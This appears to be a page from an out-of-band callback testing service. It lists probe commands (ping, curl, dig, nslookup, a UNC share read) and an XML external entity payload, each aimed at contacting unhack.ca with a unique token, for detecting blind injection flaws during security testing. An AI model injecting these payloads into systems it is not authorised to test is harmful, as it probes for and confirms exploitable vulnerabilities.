$ ping -c1 -p 00f68e572f1d0baebb39569d6bf51a00 unhack.ca
$ curl http://unhack.ca/p/f68e572f1d0baebb39569d6bf51a
$ dig f68e572f1d0baebb39569d6bf51a @unhack.ca
$ dig f68e572f1d0baebb39569d6bf51a.ns.unhack.ca
C:\> nslookup f68e572f1d0baebb39569d6bf51a unhack.ca
C:\> type \\unhack.ca\f68e572f1d0baebb39569d6bf51a\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/f68e572f1d0baebb39569d6bf51a">]>
<foo>&xxe;</foo>
Waiting for ping...